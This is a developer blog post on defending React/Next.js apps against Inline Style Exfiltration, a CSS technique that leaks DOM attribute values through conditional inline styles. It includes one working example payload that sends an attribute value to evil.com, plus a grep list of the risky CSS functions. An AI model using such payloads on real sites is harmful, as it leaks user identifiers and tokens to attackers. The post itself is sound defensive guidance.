DEV Community

Cover image for How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)
Vladimir Kukresh
Vladimir Kukresh

Posted on

How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)

How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)

In August 2025, Gareth Heyes (PortSwigger) demonstrated a new attack vector called Inline Style Exfiltration (ISE). Using nothing but inline styles, an attacker can exfiltrate attribute values from the DOM — no external stylesheets, no selectors.

⚠️ At the time of writing, this technique worked in Chromium-based browsers.


How the attack works

The breakthrough came with the CSS if() function. It lets developers (and attackers) write conditional expressions inside CSS.

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(https://evil.com/alice);
           else: url(https://evil.com/bob));
  background: image-set(var(--steal));
' data-username="bob">Test</div>
Enter fullscreen mode Exit fullscreen mode
  • attr(data-username) extracts the attribute.
  • if(style(--val:"alice") …) checks if the value matches.
  • image-set() triggers a request to the attacker’s server when the match is found.

By chaining multiple if() conditions, an attacker can brute-force attribute values like data-uid or data-username.


Why React/Next.js apps are at risk

React makes it tempting to pass props straight into style or data-* attributes. Combined with ISE, this can leak user IDs, usernames, or even tokens if they are accidentally exposed in DOM attributes.


Mitigation strategies

1. Never map raw user input to style

❌ Bad:

<div style={{ backgroundImage: userInput }} />
Enter fullscreen mode Exit fullscreen mode

✅ Good:

const bgToken = ALLOWED_BG[userChoice] ?? 'bg-default';
return <div className={bgToken} />;
Enter fullscreen mode Exit fullscreen mode

Allow only whitelisted units (px, rem, %) and color formats (#RRGGBB). Strip out functions like url(), if(), attr(), image-set(), style().


2. Don’t store secrets in data-*

Never put IDs, emails, tokens, or roles in data-*. Keep them in React state, context, or HttpOnly cookies.


3. Use CSP to block inline styles

Add a strict Content-Security-Policy. Critical piece: disallow style="" attributes.

Content-Security-Policy:

  default-src 'self';
  style-src 'self';
  style-src-attr 'none';
  style-src-elem 'self' 'nonce-<nonce>';
  img-src 'self' https://cdn.example.com;
  connect-src 'self';
  base-uri 'none';
  frame-ancestors 'none';
Enter fullscreen mode Exit fullscreen mode
  • style-src-attr 'none' blocks inline style attributes.
  • Ideally, you’d use style-src-elem 'nonce-...' with nonces for <style> tags.
  • In Next.js this is tricky because the framework injects its own styles.

Practical alternatives:

  • Start with style-src-elem 'self'.
  • Or use hashes (sha256-...) for critical inline styles that Next.js generates.

👉 See official Next.js docs on CSP

In Next.js

// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: `
      default-src 'self';
      style-src 'self';
      style-src-attr 'none';
      style-src-elem 'self' 'nonce-__INLINE_STYLE_NONCE__';
      img-src 'self' https://cdn.example.com;
      connect-src 'self';
      base-uri 'none';
      frame-ancestors 'none';
    `.replace(/\s{2,}/g, ' ')
  }
];

module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  }
};
Enter fullscreen mode Exit fullscreen mode

4. Sanitise user-generated HTML

If you allow Markdown or WYSIWYG editors:

  • Use DOMPurify/rehype-sanitize on the server.
  • Forbid style attributes (FORBID_ATTR: ['style']).
  • If style must be allowed, enforce a strict allowlist (e.g. color, font-size only).

5. Linting & CI

  • ESLint rule: forbid dangerouslySetInnerHTML and raw strings in style.
  • Grep/regex in CI for suspicious CSS functions (url(, if(, attr(, image-set().
  • Ensure no sensitive data-* attributes in JSX.

6. Component design

Expose enums or theme tokens as props, never raw CSS.

❌ Instead of:

<Button color={userInput} />
Enter fullscreen mode Exit fullscreen mode

✅ Do:

<Button variant={userChoice === "danger" ? "danger" : "primary"} />
Enter fullscreen mode Exit fullscreen mode

7. Monitoring

ISE often brute-forces attributes by making dozens of tiny requests (/1, /2, /3).

  • Use CSP report-to / report-uri to catch violations.
  • Alert on suspicious requests in your CDN or logs.

Review checklist

  • No unsafe-inline in CSP.
  • style-src-attr 'none' enabled.
  • style-src-elem restricted (self, nonces, or hashes).
  • img-src and connect-src restricted to trusted domains. This prevents not only ISE leaks but also classic data exfiltration via <img src> or fetch.
  • No raw input mapped into style or CSS variables.
  • Sensitive data not in data-*.
  • Sanitisers strip or restrict style.
  • Lint rules enforce safe patterns.
  • UGC rendered in sandbox/isolated domains.

Diagram: How data-uid leaks via ISE

Victim's browser:
<div data-uid="5">

Inline CSS conditionals:
if(data-uid="1") → /1
...
if(data-uid="5") → /5

Attacker's server:
Logs request /5
Enter fullscreen mode Exit fullscreen mode

For clarity, the diagram is simplified. Real ISE uses inline style conditionals (if(), style()).


Conclusion

CSS is no longer “just declarative.” With if(), it now supports conditional logic — and new risks.

For Next.js apps, the recipe is simple:

  • no inline styles from data
  • strict CSP with style-src-attr 'none'
  • sanitise aggressively
  • design components around tokens, not raw CSS

References

Top comments (1)

Collapse
 
mikhail_cherkashin_aea6c0 profile image
Mikhail Cherkashin

That f-ckin awesome, no bullsh-t, top content